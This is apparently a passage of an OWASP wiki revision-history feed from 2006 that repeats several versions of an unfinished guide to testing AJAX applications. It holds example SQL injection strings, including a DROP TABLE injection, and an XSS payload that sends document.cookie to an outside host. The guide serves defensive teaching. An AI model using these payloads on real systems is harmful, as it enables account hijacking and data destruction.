&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11785</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11785"/>
				<updated>2006-11-05T21:06:27Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11783</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11783"/>
				<updated>2006-11-05T20:50:16Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
